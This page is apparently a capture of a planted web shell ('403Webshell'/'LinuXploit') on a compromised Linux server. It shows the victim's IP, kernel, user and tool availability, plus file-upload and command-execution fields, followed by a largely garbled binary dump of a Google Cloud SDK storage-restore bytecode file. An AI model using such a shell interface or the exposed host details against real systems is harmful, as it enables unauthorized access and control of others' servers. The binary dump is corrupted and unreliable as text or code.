403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/storage/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/storage/__pycache__/restore.cpython-311.pyc
�

���.���dZddlmZddlmZddlmZddlZddlZddlmZddl	m
Z
ddl	mZdd	lm
Z
dd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZgd�Zgd�Z dgZ!Gd�dej"��Z#d�Z$d�Z%d�Z&d�Z'd �Z(d!�Z)d"�Z*ej+Gd#�d$ej,����Z-dS)%zDImplementation of Unix-like cat command for cloud storage providers.�)�absolute_import)�division)�unicode_literalsN)�	cloud_api)�arg_parsers)�base)�errors)�errors_util)�flags)�stdin_iterator)�storage_url)�user_request_args_factory)�wildcard_iterator)�
task_executor)�task_graph_executor)�task_status)�restore_bucket_task)�bulk_restore_objects_task)�restore_object_task)�log)�allow_overwrite�deleted_after_time�deleted_before_time)�all_versionsrrr�asyncronousrc��eZdZdZdZdS)�
ExecutionMode�Asynchronous�SynchronousN)�__name__�
__module__�__qualname__�ASYNCHRONOUS�SYNCHRONOUS���lib/surface/storage/restore.pyrr<s�������,��+�+�+r&rc��|D]?}t||��r-tjd�|j|������@dS)aRRaises error if invalid combination of flags found in user input.

  Args:
    args (parser_extensions.Namespace): User input object.
    execution_mode (ExecutionMode): Determined by presence of --async flag.
    invalid_flags (list[str]): Flags as `args` attributes.

  Raises:
    error.Error: Flag incompatible with execution mode.
  zB{} execution does not support flag: {}. See help text with --help.N)�getattrr	�Error�format�value)�args�execution_mode�
invalid_flags�invalid_flags    r'�"_raise_if_invalid_flag_combinationr1Asd��$���l��t�\�"�"���L�(�(.���"�L�)�)�
�
����r&c��t|��rmg}tD]'}t||��r|�|���(|r<t	jd�d�|�������dSdS)z�Raises error if invalid combination of flags found in user input for bucket restore.

  Args:
    url: CloudUrl object.
    args: (parser_extensions.Namespace): User input object.

  Raises:
    Error: Flags incompatible with execution mode.
  zSBucket restore does not support the following flags: {}. See help text with --help.z, N)�_is_bucket_restore�_INVALID_BUCKET_RESTORE_FLAGSr)�appendr	r*r+�join)�urlr-�invalid_flags_foundr0s    r'�0_raise_error_if_invalid_flags_for_bucket_restorer9Vs����������5�1�1��	��|�	$�	$�1��"�"�<�0�0�0�����L�(�(.��t�y�y�9L�/M�/M�(N�(N�
�
�����r&c��t|tj��o-|���ot	j|j��S)N)�
isinstancer
�CloudUrl�	is_bucketr�contains_wildcard�
url_string)r7s r'r3r3nsA����k�*�+�+�B�

�-�-�/�/�B��1�#�.�A�A�
A�r&c#��K�tj|j|j��D]F}t	j|d���}t
||��tj|j	|��|V��GdS)z%Extracts, validates, and yields URLs.T)�is_bucket_gen_parsing_allowedN)
r�get_urls_iterable�urls�read_paths_from_stdinr
�storage_url_from_stringr9r
�raise_error_if_not_gcs�command_path)r-r?r7s   r'�
_url_iteratorrHvs�����"�4�
�i��+�����j��
-��$����C�5�S�$�?�?�?��&�t�'8�#�>�>�>�

�I�I�I�I��r&c	#��K�tjt��}t|��D]}t	j|j��s'tjd�	|����|tj|j|j
���|j����|���D]0\}}t#j|||j|j|j|���V��1dS)z"Yields non-blocking restore tasks.z�Bulk restores are long operations. For restoring a single object, you should probably use a synchronous restore without the --async flag. URL without wildcards: {})rrr�user_request_argsN)�collections�defaultdict�listrHrr>r?r�warningr+r
r<�scheme�bucket_namer5�object_name�itemsr�BulkRestoreObjectsTaskrrr)r-rJ�bucket_to_globsr7�
bucket_url�object_globss      r'�_async_restore_task_iteratorrW�s�����+�D�1�1�/�
�4�
 �
 �	�	�c��.�s�~�>�>��	�k�A�AG��������
�K�(���S�_�E�E�F�M�M�������#2�"7�"7�"9�"9����j�,�
#�
:����,��2� �4�+�
��������r&c#�2K�d}t|��D]�}t|��rtj|��V��(t	tj|j|tj	j
�����}|s,tjd�
|j�����|D]V}|jrtj||��V��!|r1|jj|jjkrtj||��V�|}�W��|rtj||��V�dSdS)zYields blocking restore tasks.N)�fields_scope�object_statez*The following URLs matched no objects:
-{})rHr3r�RestoreBucketTaskrMr�get_wildcard_iteratorr?r�ObjectState�SOFT_DELETEDr	�InvalidUrlErrorr+rr�RestoreObjectTaskr
�versionless_url_string)r-rYrJ�
last_resourcer7�	resources�resources       r'�_sync_restore_task_iteratorre�s������-�
�4�
 �
 �!�!�c��#�����1�#�6�6�6�6�6����/��N�%�"�.�;�	
�	
�	
���I����"�
7�
>�
>�s�~�
N�
N�
�
���!�!��	
�	�!�!�3�H�>O�P�P�P�P�P�P�
�	��)�@��#�:�;�;�$�5��.������!�
�
�!���
�
/��(���������r&c���|jrtjj}ntjj}tj|t
jj���}|j	rt||��St|||��S)zYields restore tasks.)�
metadata_type)�preserve_aclr�FieldsScope�FULL�SHORTr�'get_user_request_args_from_command_args�MetadataType�OBJECTrrWre)r-rYrJs   r'�_restore_task_iteratorro�s}��	��/��(�-�L�L��(�.�L��G�
�7�D�K�����

��A�'��.?�@�@�@�	$�T�<�9J�	K�	K�Kr&c�8�eZdZdZddd�Zed���Zd�ZdS)�Restorez)Restore one or more soft-deleted objects.z_
      The restore command restores soft-deleted resources:

        $ {command} url...

      a0

      Restore soft-deleted version of bucket with generations:

        $ {command} gs://bucket#123

      Restore several soft-deleted buckets with generations:

        $ {command} gs://bucket1#123 gs://bucket2#456

      Restore latest soft-deleted version of object in a bucket.

        $ {command} gs://bucket/file1.txt

      Restore a specific soft-deleted version of object in a bucket by specifying the generation.

        $ {command} gs://bucket/file1.txt#123

      Restore all soft-deleted versions of object in a bucket.

        $ {command} gs://bucket/file1.txt --all-versions

      Restore several objects in a bucket (with or without generation):

        $ {command} gs://bucket/file1.txt gs://bucket/file2.txt#456

      Restore the latest soft-deleted version of all text objects in a bucket:

        $ {command} gs://bucket/**.txt

      Restore a list of objects read from stdin (with or without generation):

        $ cat list-of-files.txt | {command} --read-paths-from-stdin

      Restore object with its original ACL policy:

        $ {command} gs://bucket/file1.txt --preserve-acl

      Restore all objects in a bucket asynchronously:

        $ {command} gs://bucket/** --async

      Restore all text files in a bucket asynchronously:

        $ {command} gs://bucket/**.txt --async

      )�DESCRIPTION�EXAMPLESc�6�|�ddd���tj|��tj|��tj|��|�d���}|�ddd	d
���|�dd
d	d���|�d���}|�dd	d���|�dtjjd���|�dtjjd���dS)NrC�*zThe url of objects to list.)�nargs�helpzSYNCHRONOUS RESTORE OPTIONS)rwz-az--all-versions�
store_truea�Restores all versions of soft-deleted objects.

This flag is only useful for buckets with [object versioning] (https://cloud.google.com/storage/docs/object-versioning) enabled. In this case, the latest soft-deleted version will become live and the previous generations will become noncurrent.

If versioning is disabled, the latest soft-deleted version will become live and previous generations will be soft-deleted again.

This flag disables parallelism to preserve version order.)�actionrwz--asyncrzIInitiates an asynchronous bulk restore operation on the specified bucket.)�destryrwzBULK RESTORE OPTIONSz--allow-overwritez�If included, live objects will be overwritten. If versioning is enabled, this will result in a noncurrent object. If versioning is not enabled, this will result in a soft-deleted object.z--deleted-after-timezARestores only the objects that were soft-deleted after this time.)�typerwz--deleted-before-timezBRestores only the objects that were soft-deleted before this time.)	�add_argumentr�add_precondition_flags�add_preserve_acl_flag�add_read_paths_from_stdin_flag�	add_groupr�Datetime�Parse)�parser�synchronous_restore_flag_group�bulk_restore_flag_groups   r'�ArgszRestore.Argsss��
����c�0M��N�N�N�	� ��(�(�(�	���'�'�'�	�(��0�0�0�%+�%5�%5�
*�&6�&�&�"�#�/�/����
L�0����"����
��
�
�	�	�	�%�.�.�4J�.�K�K���(�(���
J�	)�����(�(��
�
!�
'�O�	)�����(�(��
�
!�
'�P�	)�����r&c	��tj|��tj���}|jr!t
|tjt��n t
|tj
t��tj
t|��|j|t!jt jjd������|_dS)N)�increment_type�
manifest_path)�
task_iterator�parallelizable�task_status_queue�progress_manager_args)r�RequireProjectIDr�multiprocessing_context�Queuerr1rr#�_SYNCHRONOUS_RESTORE_FLAGSr$�_BULK_RESTORE_FLAGSr�
execute_tasksrorr�ProgressManagerArgs�
IncrementType�INTEGER�	exit_code)�selfr-r�s   r'�RunzRestore.RunLs�����$����+�C�I�I�K�K�����(�
�
�*�,F�����)�
�
�)�+>����#�0�,�T�2�2��,�,�+�)�=�&�4�<�D�
�
�
�	���D�N�N�Nr&N)r r!r"�__doc__�
detailed_help�staticmethodr�r�r%r&r'rqrq�s\������1�1�
�.
�6�6�-�p�;�;��<�;�z����r&rq).r��
__future__rrrrK�enum�googlecloudsdk.api_lib.storager�googlecloudsdk.callioperr�"googlecloudsdk.command_lib.storager	r
rrr
rr�(googlecloudsdk.command_lib.storage.tasksrrr�0googlecloudsdk.command_lib.storage.tasks.bucketsr�0googlecloudsdk.command_lib.storage.tasks.objectsrr�googlecloudsdk.corerr�r4r��Enumrr1r9r3rHrWrero�UniverseCompatible�Commandrqr%r&r'�<module>r�s���K�J�&�&�&�&�&�&�������'�'�'�'�'�'���������4�4�4�4�4�4�/�/�/�/�/�/�(�(�(�(�(�(�5�5�5�5�5�5�:�:�:�:�:�:�4�4�4�4�4�4�=�=�=�=�=�=�:�:�:�:�:�:�H�H�H�H�H�H�@�@�@�@�@�@�B�B�B�B�B�B�H�H�H�H�H�H�@�@�@�@�@�@�P�P�P�P�P�P�V�V�V�V�V�V�P�P�P�P�P�P�#�#�#�#�#�#�����!�!�!��-�-�������D�I����
���*���0���
�
�
����2"�"�"�J
L�
L�
L� ��O�O�O�O�O�d�l�O�O���O�O�Or&

Youez - 2016 - github.com/yon3zu
LinuXploit